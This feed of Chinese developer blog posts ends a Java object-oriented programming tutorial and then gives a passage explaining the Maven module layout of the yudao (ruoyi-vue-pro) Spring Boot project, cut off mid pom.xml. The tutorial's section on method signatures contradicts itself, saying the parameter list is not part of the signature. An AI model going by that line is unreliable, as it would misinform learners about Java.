  3. default:没有显式使用访问限制符时,成员就具有 default 访问权限,只能被同一个包中的类、接口访问。
  4. private:访问权限最为严格,被 private 修饰的成员仅能在本类内部访问。

继承

Java 中,每个类仅有一个直接父类,这就是所谓的单继承机制。Java 设计者选择这种方式,是为了规避多继承带来的复杂性与不可预测性。为了实现类似多继承的功能,Java 引入了接口的概念。一个类可以实现多个接口,这样既保证了代码的可读性和可维护性,又能有效避免多继承可能引发的问题。

在 Java 里,可被继承或实现的对象分为普通类、抽象类、接口这三种类型。

抽象类

抽象类是一种特殊的类,它不能被实例化,主要作用是为子类提供一个通用的模板或基础框架。抽象类中可以包含抽象方法,这些方法只有声明,没有具体的实现,子类必须对其进行实现。

// 定义抽象类Shape
abstract class Shape {
    // 私有属性color
    private String color;
    // 构造函数,用于初始化color属性
    public Shape(String color) {
        this.color = color;
    }
    // 获取color属性的方法
    public String getColor() {
        return color;
    }
    // 抽象方法,计算图形面积,需子类实现
    public abstract double getArea();
}
// 继承Shape类的Circle类
class Circle extends Shape {
    // 私有属性radius
    private double radius;
    // 构造函数,初始化color和radius属性
    public Circle(String color, double radius) {
        super(color);
        this.radius = radius;
    }
    // 重写父类的getArea方法,计算圆形面积
    @Override
    public double getArea() {
        return Math.PI * radius * radius;
    }
}
// 继承Shape类的Rectangle类
class Rectangle extends Shape {
    // 私有属性width和height
    private double width;
    private double height;
    // 构造函数,初始化color、width和height属性
    public Rectangle(String color, double width, double height) {
        super(color);
        this.width = width;
        this.height = height;
    }
    // 重写父类的getArea方法,计算矩形面积
    @Override
    public double getArea() {
        return width * height;
    }
}

接口

接口是一种抽象类型,它只定义了一组抽象方法,没有任何具体实现。接口中的所有方法默认都是公共的,只有方法签名,没有方法体。接口主要用于描述对象的行为和功能,规定对象应该具备哪些方法,而不关心这些方法的具体实现细节。一个类可以实现一个或多个接口,通过实现接口中的方法来达成多态性

从Java 8 开始,接口中可以包含默认方法(包含实现的方法)和静态方法

interface Shape {
    String getColor();

    default void setColor(String color) {
        throw new UnsupportedOperationException("setColor() method not implemented");
    }

    double getArea();
}

class Circle implements Shape {
    private String color;
    private double radius;

    public Circle(String color, double radius) {
        this.color = color;
        this.radius = radius;
    }

    @Override
    public String getColor() {
        return color;
    }

    @Override
    public void setColor(String color) {
        this.color = color;
    }

    @Override
    public double getArea() {
        return Math.PI * radius * radius;
    }
}

public class Main {
    public static void main(String[] args) {
        Shape circle = new Circle("red", 5);
        System.out.println("Circle area: " + circle.getArea());
        System.out.println("Circle color: " + circle.getColor());

        // 使用默认实现
        circle.setColor("blue");
        System.out.println("Circle color: " + circle.getColor());
    }
}

重写与重载

方法签名的作用是唯一标识一个方法,以便编译器区分不同的方法。在Java中方法签名是指方法名称、参数类型和个数的组合。方法的参数列表和返回值类型不属于方法签名。

参数列表是指方法声明的参数部分,包含参数类型和参数名称

重写发生在子类中,当子类需要修改从父类继承而来的方法时,就会用到重写。重写要求子类中的方法与父类中被重写的方法具有相同的名称、参数列表和返回类型,并且子类方法的访问权限不能低于父类方法。通常会使用@Override注解来标识重写的方法,这样能帮助开发者检查是否满足重写的所有条件。

重载是指在同一个类中定义多个名称相同,但参数列表不同的方法。通过方法重载,可以实现同名方法的多态性。例如,在 JDK 的java.lang.Math类中,max方法就使用了重载。它可以接收不同类型的参数(如intdouble等),方便开发者求出不同类型数值中的最大值。

final

final关键字在 Java 中有多种用途。当它修饰变量时,表示这个变量只能被赋值一次,一旦赋值就不能再更改。按照编程习惯,常量名通常使用全大写字母表示。

final int COUNT = 10

final也可以修饰方法,被final修饰的方法不能被子类重写。在设计类时,如果某些方法不希望被重写,就可以将其定义为final方法

类似地,如果一个类被final关键字修饰,那么这个类就无法被继承。日常编程中经常使用的String类就是被final修饰的,这保证了String类的不可变性,提高了程序的安全性和稳定性

by 谦行 at January 24, 2025 01:24 AM

juejin backend

开源项目芋道源码解析 [开篇]

文章首发于我的博客:https://blog.liuzijian.com/post/source-code-about-ruoyi-vue-pro.html

博主和芋道源码作者及官方开发团队无任何关联

1.引言

芋道(又名yudao,ruoyi-vue-pro)是一个基于spring-boot框架的单体Java后端开源项目,拥有基于RBAC模型的组织架构管理、CRM、ERP、商城、代码生成、AI等多个功能模块。封装了多租户、数据权限、工作流、OAuth,邮件、短信、定时任务、日志、链路追踪等多种技术和业务组件。其在GitHub上的地址是:github.com/YunaiV/ruoy…

因工作中会用到这个框架,为了更好的定制和更新功能,所以决定把它的源码核心部分都读一遍,博客持续更新,边学习,边输出,做知识积累整理输出。对学过的做过的东西,有个痕迹与存档,可以随时做归纳总结。

本文基于2.4.0-jdk8-SNAPSHOT版本的源码。

2.项目总体结构

项目基于传统的maven构建,大致结构如下,整个项目是多模块结构,分为1个父模块和多个子模块。

ruoyi-vue-pro [yudao]
    │
    ├── yudao-dependencies
    │     └── pom.xml
    │
    ├── yudao-framework
    │     ├── yudao-common
    │     │       └── src
    │     │       └── pom.xml
    │     ├── yudao-spring-boot-starter-biz-xxxxxxx
    │     │       └── src
    │     │       └── pom.xml 
    │     ├── yudao-spring-boot-starter-xxxxxxx
    │     │       └── src
    │     │       └── pom.xml 
    │     └── pom.xml   
    │
    │── yudao-module-aaa   
    │     ├── yudao-module-aaa-api
    │     │       └── src
    │     │       └── pom.xml       
    │     ├── yudao-module-aaa-biz
    │     │       └── src
    │     │       └── pom.xml  
    │     └── pom.xml              
    │
    │── yudao-module-bbb   
    │     ├── yudao-module-bbb-api
    │     │       └── src
    │     │       └── pom.xml       
    │     ├── yudao-module-bbb-biz
    │     │       └── src
    │     │       └── pom.xml  
    │     └── pom.xml
    │        
    │── yudao-server
    │     └── src
    │     └── pom.xml
    │
    └── pom.xml

3.模块的结构,功能和依赖关系

3.1 root

  • 最外层的/pom.xml作为root模块的配置,通过<modules/>包含了yudao-framework,yudao-module-xxxxxx,yudao-server,yudao-dependencies等众多模块。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    ......
    <modules>
        <module>yudao-dependencies</module>
        <module>yudao-framework</module>
        <!-- Server 主项目 -->
        <module>yudao-server</module>
        <!-- 各种 module 拓展 -->
        <module>yudao-module-system</module>
        <module>yudao-module-infra</module>
    </modules>
    ......
</project>
  • root模块通过引用负责统一依赖版本的模块yudao-dependencies来将依赖的版本号传递给所有子模块,从而统一整个项目的依赖版本
<dependencyManagement>
   <dependencies>
       <dependency>
           <groupId>cn.iocoder.boot</groupId>
           <artifactId>yudao-dependencies</artifactId>
           <version>${revision}</version>
           <type>pom</type>
           <scope>import</scope>
       </dependency>
   </dependencies>
</dependencyManagement>
  • root模块使用<version>${revision}</version>来设置自身的版本号,子模块的<version/>如果也设置为${revision}的话,就继承了root模块的版本号了,子模块的子模块也是一样的道理,这样整个工程所有子孙模块的版本号就都统一起来了,需要升级版本时,只需要在root模块的pom.xml文件中,把<properties/>里面的版本号一改,整个工程所有子孙模块的版本号便全部跟着变了。

    例: /pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

   <groupId>cn.iocoder.boot</groupId>
   <artifactId>yudao</artifactId>
   <version>${revision}</version>
   <packaging>pom</packaging>

   ... ...

   <properties>
       <revision>2.4.0-jdk8-SNAPSHOT</revision>
   </properties>
</project>

yudao-module-system/pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
   <parent>
       <groupId>cn.iocoder.boot</groupId>
       <artifactId>yudao</artifactId>
       <version>${revision}</version>
   </parent>
   <modelVersion>4.0.0</modelVersion>
   <modules>
       <module>yudao-module-system-api</module>
       <module>yudao-module-system-biz</module>
   </modules>
   <artifactId>yudao-module-system</artifactId>
   <packaging>pom</packaging>

   <name>${project.artifactId}</name>
   <description>
       system 模块下,我们放通用业务,支撑上层的核心业务。
       例如说:用户、部门、权限、数据字典等等
   </description>

</project>

yudao-module-system/yudao-module-system-api/pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
   
   <parent>
       <groupId>cn.iocoder.boot</groupId>
       <artifactId>yudao-module-system</artifactId>
       <version>${revision}</version>
   </parent>
   <modelVersion>4.0.0</modelVersion>
   <artifactId>yudao-module-system-api</artifactId>
   <packaging>jar</packaging>

   <name>${project.artifactId}</name>
   <description>
       system 模块 API,暴露给其它模块调用
   </description>

   ......

</project>

  • 通过插件org.codehaus.mojo:flatten-maven-plugin来防止不必要的依赖传递
<build>
   <pluginManagement>
       <plugins>
           <plugin>
               <groupId>org.apache.maven.plugins</groupId>
               <artifactId>maven-surefire-plugin</artifactId>
               <version>${maven-surefire-plugin.version}</version>
           </plugin>

           <plugin>
               <groupId>org.apache.maven.plugins</groupId>
               <artifactId>maven-compiler-plugin</artifactId>
               <version>${maven-compiler-plugin.version}</version>
               <configuration>
                   <annotationProcessorPaths>
                       <path>
                           <groupId>org.springframework.boot</groupId>
                           <artifactId>spring-boot-configuration-processor</artifactId>
                           <version>${spring.boot.version}</version>
                       </path>
                       <path>
                           <groupId>org.projectlombok</groupId>
                           <artifactId>lombok</artifactId>
                           <version>${lombok.version}</version>
                       </path>
                       <path>
                           <groupId>org.mapstruct</groupId>
                           <artifactId>mapstruct-processor</artifactId>
                           <version>${mapstruct.version}</version>
                       </path>
                   </annotationProcessorPaths>
               </configuration>
           </plugin>
           <plugin>
               <groupId>org.codehaus.mojo</groupId>
               <artifactId>flatten-maven-plugin</artifactId>
           </plugin>
       </plugins>
   </pluginManagement>

   <plugins>
       <plugin>
           <groupId>org.codehaus.mojo</groupId>
           <artifactId>flatten-maven-plugin</artifactId>
           <version>${flatten-maven-plugin.version}</version>
           <configuration>
               <flattenMode>oss</flattenMode>
               <updatePomFile>true</updatePomFile>
           </configuration>
           <executions>
               <execution>
                   <goals>
                       <goal>flatten</goal>
                   </goals>
                   <id>flatten</id>
                   <phase>process-resources</phase>
               </execution>
               <execution>
                   <goals>
                       <goal>clean</goal>
                   </goals>
                   <id>flatten.clean</id>
                   <phase>clean</phase>
               </execution>
           </executions>
       </plugin>
   </plugins>

</build>

3.2 yudao-dependencies

这个模块内仅有一个pom.xml文件,该模块的作用仅仅是统一整个项目的依赖版本,因为yudao-dependencies模块没有指定<parent/>,因此不能从父(即root)模块继承${revision},需要在自己的<properties/>里面维护自己的${revision}版本供自己引用,版本号的值一般要与root模块中的版本号要保持一致。

yudao-dependencies模块并不是root模块的子模块,因为如果root模块成了yudao-dependencies的父模块的同时还引用了子模块yudao-dependencies的话,就会导致循环引用,因此yudao-dependencies没有指定<parent/>,只是由root模块通过<modules/>包含进去进行代管,root模块构建时,yudao-dependencies会一并构建。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <groupId>cn.iocoder.boot</groupId>
    <artifactId>yudao-dependencies</artifactId>
    <version>${revision}</version>
    <packaging>pom</packaging>

    ... ...

    <properties>
        <revision>2.4.0-jdk8-SNAPSHOT</revision>
    </properties>
    ... ...
</project>

yudao-dependencies里面只有一个pom.xml文件,其使用<dependencyManagement/>声明了整个项目所需要的依赖,并被root模块引入,从而统一整个工程的依赖版本。

yudao-dependencies不仅通过引用springframework,spring-boot-dependencies等type为pom的依赖项来继承第三方框架的版本,还规定了项目自身封装的一些框架(yudao-framework)的版本号。

<dependencyManagement>
    <dependencies>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-framework-bom</artifactId> <!-- JDK8 版本独有:保证 Spring Framework 尽量高 -->
            <version>${spring.framework.version}</version>
            <type>pom</type>
            <scope>import</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.security</groupId>
            <artifactId>spring-security-bom</artifactId> <!-- JDK8 版本独有:保证 Spring Security 尽量高 -->
            <version>${spring.security.version}</version>
            <type>pom</type>
            <scope>import</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-dependencies</artifactId>
            <version>${spring.boot.version}</version>
            <type>pom</type>
            <scope>import</scope>
        </dependency>

        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-spring-boot-starter-biz-tenant</artifactId>
            <version>${revision}</version>
        </dependency>
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-spring-boot-starter-biz-data-permission</artifactId>
            <version>${revision}</version>
        </dependency>
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-spring-boot-starter-biz-ip</artifactId>
            <version>${revision}</version>
        </dependency>

        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-common</artifactId>
            <version>${revision}</version>
        </dependency>

        ... ...

    </dependencies>
</dependencyManagement>

通过插件org.codehaus.mojo:flatten-maven-plugin来防止不必要的依赖传递

<build>
    <plugins>
        <!-- 统一 revision 版本 -->
        <plugin>
            <groupId>org.codehaus.mojo</groupId>
            <artifactId>flatten-maven-plugin</artifactId>
            <version>${flatten-maven-plugin.version}</version>
            <configuration>
                <flattenMode>bom</flattenMode>
                <updatePomFile>true</updatePomFile>
            </configuration>
            <executions>
                <execution>
                    <goals>
                        <goal>flatten</goal>
                    </goals>
                    <id>flatten</id>
                    <phase>process-resources</phase>
                </execution>
                <execution>
                    <goals>
                        <goal>clean</goal>
                    </goals>
                    <id>flatten.clean</id>
                    <phase>clean</phase>
                </execution>
            </executions>
        </plugin>
    </plugins>
</build>

3.3 yudao-framework

该模块内主要是需要用到的公共依赖和一些对常用框架和功能组件的封装,大致结构如下

yudao-framework
      │
      │── yudao-common
      │     ├─ src
      │     │   └─ main
      │     │       └─ java
      │     │            └─ cn.iocoder.yudao.framework.common
      │     │                  └─ core
      │     │                  └─ enums
      │     │                  └─ exception
      │     │                  └─ pojo
      │     │                  └─ util
      │     │                  └─ validation
      │     │
      │     └─ pom.xml
      │
      │── yudao-spring-boot-starter-xxxxxx
      │     ├─ src
      │     │   └─ main
      │     │       ├─ java
      │     │       |    ├─ cn.iocoder.yudao.framework.xxxxxx 
      │     │       |    │     └─ config
      │     │       |    │     └─ core
      │     │       |    │     └─ aaa
      │     │       |    │          
      │     │       |    └─ bbb.ccc.ddd                      
      │     │       │
      │     │       └─ resources
      │     │            └─ META-INF.spring
      │     │                  └─ org.springframework.boot.autoconfigure.AutoConfiguration.imports
      │     │                               
      │     └── pom.xml 
      │
      └── pom.xml

yudao-framework下没有其他依赖,只是简单的将所有封装的组件聚合起来

yudao-framework/pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <artifactId>yudao</artifactId>
        <groupId>cn.iocoder.boot</groupId>
        <version>${revision}</version>
    </parent>
    <packaging>pom</packaging>
    <modules>
        <module>yudao-common</module>
        <module>yudao-spring-boot-starter-mybatis</module>
        <module>yudao-spring-boot-starter-redis</module>
        <module>yudao-spring-boot-starter-web</module>
        <module>yudao-spring-boot-starter-security</module>
        <module>yudao-spring-boot-starter-websocket</module>

        <module>yudao-spring-boot-starter-monitor</module>
        <module>yudao-spring-boot-starter-protection</module>
        <module>yudao-spring-boot-starter-job</module>
        <module>yudao-spring-boot-starter-mq</module>

        <module>yudao-spring-boot-starter-excel</module>
        <module>yudao-spring-boot-starter-test</module>

        <module>yudao-spring-boot-starter-biz-tenant</module>
        <module>yudao-spring-boot-starter-biz-data-permission</module>
        <module>yudao-spring-boot-starter-biz-ip</module>
    </modules>

    <artifactId>yudao-framework</artifactId>
    <description>
        该包是技术组件,每个子包,代表一个组件。每个组件包括两部分:
            1. core 包:是该组件的核心封装
            2. config 包:是该组件基于 Spring 的配置

        技术组件,也分成两类:
            1. 框架组件:和我们熟悉的 MyBatis、Redis 等等的拓展
            2. 业务组件:和业务相关的组件的封装,例如说数据字典、操作日志等等。
        如果是业务组件,Maven 名字会包含 biz
    </description>
    <url>https://github.com/YunaiV/ruoyi-vue-pro</url>

</project>

yudao-common模块封装了一些项目公共的枚举类,异常类,公共的实体类,和一些工具类,在这个项目中通常会被其他组件模块(yudao-spring-boot-starter-xxxx)和业务模块的api模块(yudao-module-xxxxx-api)所引用。

除了yudao-common外其余的都是封装的框架功能模块,模块名格式为yudao-spring-boot-starter-xxxx,分为业务组件和技术组件。技术组件模块名中没有biz,业务组件是有的。业务组件通常会引用业务模块的api模块(yudao-module-xxxxx-api)

例如数据权限yudao-spring-boot-starter-biz-data-permission组件依赖了系统管理业务模块的api:yudao-module-system-api

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <parent>
        <artifactId>yudao-framework</artifactId>
        <groupId>cn.iocoder.boot</groupId>
        <version>${revision}</version>
    </parent>
    <modelVersion>4.0.0</modelVersion>
    <artifactId>yudao-spring-boot-starter-biz-data-permission</artifactId>
    <packaging>jar</packaging>

    ......

    <dependencies>
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-common</artifactId>
        </dependency>

        .........

        <!-- 业务组件 -->
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-module-system-api</artifactId> <!-- 需要使用它,进行数据权限的获取 -->
            <version>${revision}</version>
        </dependency>

        .........

</project>

该模块下的包名都以cn.iocoder.yudao.framework开头,后面是组件名称,然后再往下大多又分成config和core两个包,config包下是spring-boot的配置类,与组件本身的配置有关,core包下是组件具体功能的实现代码,需要注意的是config包下的配置类会配合resources/META-INF.spring下的org.springframework.boot.autoconfigure.AutoConfiguration.imports文件使用,配置类的类路径只有配在这个文件中,才会被spring扫描到,然后将组件注入spring容器中,供其他业务模块使用。

framework模块之间也可以相互引用,例如yudao-spring-boot-starter-biz-data-permission就依赖了yudao-spring-boot-starter-security,yudao-spring-boot-starter-mybatis和yudao-spring-boot-starter-test

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <parent>
        <artifactId>yudao-framework</artifactId>
        <groupId>cn.iocoder.boot</groupId>
        <version>${revision}</version>
    </parent>
    <modelVersion>4.0.0</modelVersion>
    <artifactId>yudao-spring-boot-starter-biz-data-permission</artifactId>
    <packaging>jar</packaging>

    <name>${project.artifactId}</name>
    <description>数据权限</description>
    <url>https://github.com/YunaiV/ruoyi-vue-pro</url>

    <dependencies>
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-common</artifactId>
        </dependency>

        <!-- Web 相关 -->
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-spring-boot-starter-security</artifactId>
            <optional>true</optional> <!-- 可选,如果使用 DeptDataPermissionRule 必须提供 -->
        </dependency>

        <!-- DB 相关 -->
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-spring-boot-starter-mybatis</artifactId>
        </dependency>

        <!-- 业务组件 -->
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-module-system-api</artifactId> <!-- 需要使用它,进行数据权限的获取 -->
            <version>${revision}</version>
        </dependency>

        <!-- Test 测试相关 -->
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

</project>

3.4 yudao-module-xxxxx

yudao-module-xxxxx模块是实现具体业务的模块,具体结构如下: (xxxxx为业务名,aaa,bbb为业务下的具体功能名)

yudao-module-xxxxx
    │
    │── yudao-module-xxxxx-api
    │     ├─ src
    │     │   └─ main
    │     │       └─ java
    │     │            └─ cn.iocoder.yudao.module.xxxxx
    │     │                ├─ api
    │     │                │   ├─ aaa
    │     │                │   │    ├─ dto
    │     │                │   │    │   └─ AaaRespDTO.java
    │     │                │   │    └─ AaaApi.java                    
    │     │                │   └─ bbb
    │     │                │        ├─ dto
    │     │                │        │   └─ BbbRespDTO.java
    │     │                │        └─ BbbApi.java
    │     │                └─ enums
    │     │                    ├─ aaa
    │     │                    │    └─ AaaCccEnum.java   
    │     │                    │    └─ AaaDdddEnum.java                 
    │     │                    ├─ bbb
    │     │                    │    └─ BbbCccEnum.java   
    │     │                    │    └─ BbbDdddEnum.java
    │     │                    │          
    │     │                    ├─ AaaTypeConstants.java    
    │     │                    └─ BbbTypeConstants.java                
    │     │
    │     └─ pom.xml
    │
    │── yudao-module-xxxxx-biz
    │     ├─ src
    │     │   └─ main
    │     │       ├─ java
    │     │       |    └─ cn.iocoder.yudao.module.xxxxx 
    │     │       |        ├─ api
    │     │       |        │   ├─ aaa   
    │     │       |        │   │   └─ AaaApiImpl.java  
    │     │       |        │   └─ bbb   
    │     │       |        │       └─ BbbApiImpl.java  
    │     │       |        │                                 
    │     │       |        ├─ controller
    │     │       |        │   ├─ admin   
    │     │       |        │   │   ├─ aaa
    │     │       |        │   │   │   ├─ vo
    │     │       |        │   │   │   │   └─ AaaReqVO.java                    
    │     │       |        │   │   │   └─ AaaController.java
    │     │       |        │   │   └─ bbb
    │     │       |        │   │       ├─ vo
    │     │       |        │   │       │   └─ BbbReqVO.java                    
    │     │       |        │   │       └─ BbbController.java    
    │     │       |        │   │                
    │     │       |        │   └─ app   
    │     │       |        │       └─ aaa
    │     │       |        │           ├─ vo
    │     │       |        │           │   └─ AaaAppReqVO.java          
    │     │       |        │           └─ AaaAppController.java
    │     │       |        │              
    │     │       |        ├─ convert  
    │     │       |        │   ├─ aaa
    │     │       |        │   │   └─ AaaConvert.java          
    │     │       |        │   └─ bbb
    │     │       |        │       └─ BbbConvert.java
    │     │       |        │        
    │     │       |        ├─ framework
    │     │       |        ├─ job
    │     │       |        ├─ mq
    │     │       |        ├─ service
    │     │       |        │   ├─ aaa
    │     │       |        │   │   └─ AaaService.java
    │     │       |        │   │   └─ AaaServiceImpl.java                    
    │     │       |        │   └─ bbb
    │     │       |        │       └─ BbbService.java
    │     │       |        │       └─ BbbServiceImpl.java
    │     │       |        │ 
    │     │       |        │
    │     │       |        └─ dal
    │     │       |            ├─ dataobject
    │     │       |            │   ├─ aaa
    │     │       |            │   │   └─ AaaDO.java          
    │     │       |            │   └─ bbb
    │     │       |            │       └─ BbbDO.java                    
    │     │       |            └─ mysql  
    │     │       |                ├─ aaa
    │     │       |                │   └─ AaaMapper.java          
    │     │       |                └─ bbb
    │     │       |                    └─ BbbMapper.java                            
    │     │       │  
    │     │       └─ resource
    │     │              └─ mapper
    │     │                  ├─ aaa 
    │     │                  │   └─ AaaMapper.xml          
    │     │                  └─ bbb
    │     │                      └─ BbbMapper.xml                             
    │     └── pom.xml 
    │
    └── pom.xml  

整个项目的Controller, Service, Mapper都封装在业务模块里,业务模块是根据具体的业务来建立的。

每个业务模块都由yudao-module-xxxxx-api和yudao-module-xxxxx-biz两个子模块组成。yudao-module-xxxxx-api模块中是开放给其他业务模块或业务组件调用的接口代码和一些公共的枚举和常量,yudao-module-xxxxx-biz模块中是具体业务的实现代码,因为api定义的接口是biz实现的,因此biz模块首先要依赖它自己要实现的api模块。

模块内包名都是固定前缀cn.iocoder.yudao加module再加业务模块名的形式,例如:cn.iocoder.yudao.module.xxxxx,在此基础上根据所属层级建立下一级包名,例如cn.iocoder.yudao.module.xxxxx.controller.admin,cn.iocoder.yudao.module.xxxxx.service,然后根据具体业务功能再建立更深层级的包名和包下的类,例如:cn.iocoder.yudao.module.xxxxx.controller.admin.aaa.vo。


包名解释:

  • yudao-module-xxxxx-api

    • cn.iocoder.yudao.module.xxxxx.api 包存放业务模块需要对外暴漏的接口,以及用于传输数据的DTO对象。

    • cn.iocoder.yudao.module.xxxxx.enums 包存放该业务模块的枚举类和常量类,既供自己使用,也供调用方使用。

  • yudao-module-xxxxx-biz

    • cn.iocoder.yudao.module.xxxxx.api 包存放对api模块定义的接口类的实现(***ApiImpl),实现类为Spring容器管理,被Spring注入到调用者引用的Api接口上,ApiImpl和Controller一样,接收到调用后再调用业务层Service代码。

    • cn.iocoder.yudao.module.xxxxx.controller 分为admin和app两个子包,分别放置管理员接口和会员接口,包中存放Controller类及接收和生成JSON的实体类VO,接收http请求并返回数据。

    • cn.iocoder.yudao.module.xxxxx.service 包下是具体的Service业务接口和实现类。

    • cn.iocoder.yudao.module.xxxxx.dal 包是负责数据库访问的DAO层,分为dataobject和mysql两个包,dataobject包内存放的是DO对象,mysql包内存放的是Mybatis/Mybatis-Plus的Mapper类,Java代码无法实现的复杂SQL,可在resources文件夹内定义"*Mapper.xml"文件实现。

    • cn.iocoder.yudao.module.xxxxx.convert 包功能比较简单,用于存放mapstruct转换器类,用于各种不同类型的实体类对象之间的深拷贝互相转换。

    • cn.iocoder.yudao.module.xxxxx.mq 消息发送接收。

    • cn.iocoder.yudao.module.xxxxx.job 定时任务。

    • cn.iocoder.yudao.module.xxxxx.framework 配合yudao-framework模块封装的框架和功能来实现一些更高级的功能,例如文档生成,数据权限等等。

    • ......


业务模块biz之间是相互独立的,如biz模块间要相互调用,只要互相引用对方的api模块坐标到自己biz的pom.xml即可,这样的模块依赖方式完美遵循依赖倒置原则,如果是biz直接引用biz不但违背依赖倒置原则,而且可能还会导致maven构建时报出循环引用的错误。本项目中后续还会出现业务组件框架模块(yudao-spring-boot-starter-biz-xxxxxxxx)依赖具体业务模块的情况,同样也是需要引用业务模块的api。

例:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    
    <parent>
        <groupId>cn.iocoder.boot</groupId>
        <artifactId>yudao-module-system</artifactId>
        <version>${revision}</version>
    </parent>

    <modelVersion>4.0.0</modelVersion>
    <!-- 业务模块 -->
    <artifactId>yudao-module-system-biz</artifactId>
    <packaging>jar</packaging>

    ... ...

    <dependencies>
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <!-- 自身业务的api -->
            <artifactId>yudao-module-system-api</artifactId>
            <version>${revision}</version>
        </dependency>
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <!-- 要调用的其他业务模块的api -->
            <artifactId>yudao-module-infra-api</artifactId>
            <version>${revision}</version>
    </dependency>

    ... ...

</project>

3.5 yudao-server

yudao-server是启动项目的模块,里面有spring-boot主启动类cn.iocoder.yudao.server.YudaoServerApplication,缺省的请求处理类cn.iocoder.yudao.server.controller.DefaultController,不同环境的配置文件application-*.yml,还有一个logback的日志配置文件logback-spring.xml。

yudao-server
    |
    ├─ src
    |   └─ main
    |        ├─ java
    |        |    └─ cn.iocoder.yudao.server
    |        |        ├─ controller
    |        |        |   └─ DefaultController.java        
    |        |        └─ YudaoServerApplication.java  
    |        |
    |        └─ resources
    |             ├─ application.yaml
    |             ├─ application-dev.yaml
    |             ├─ application-local.yaml
    |             └─ logback-spring.xml
    |     
    └─ pox.xml

yudao-server模块汇聚了所有的业务模块,打包上线的可执行jar包就是这个模块编译而成的,该模块聚合了所有的业务模块的biz模块(yudao-module-***-biz)以及一些需要直接引用的starter,需要启用哪个业务模块就可以按需引入哪个业务模块。

/yudao-server/pom.xml中,引入了项目最核心的两个业务模块:系统管理yudao-module-system-biz和服务保障yudao-module-infra-biz,默认不引入其他业务模块从而加快编译速度,还引入了一些其他的starter,最后通过spring-boot-maven-plugin插件将此模块代码打包为可执行的jar包,从而启动整个项目。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
   
    <parent>
        <groupId>cn.iocoder.boot</groupId>
        <artifactId>yudao</artifactId>
        <version>${revision}</version>
    </parent>
    <modelVersion>4.0.0</modelVersion>

    <artifactId>yudao-server</artifactId>
    <packaging>jar</packaging>

    <name>${project.artifactId}</name>
    <description>
        后端 Server 的主项目,通过引入需要 yudao-module-xxx 的依赖,
        从而实现提供 RESTful API 给 yudao-ui-admin、yudao-ui-user 等前端项目。
        本质上来说,它就是个空壳(容器)!
    </description>
    <url>https://github.com/YunaiV/ruoyi-vue-pro</url>

    <dependencies>
        <dependency>
            <groupId>cn.iocoder.boot</groupId>
            <artifactId>yudao-module-system-biz</artifactId>
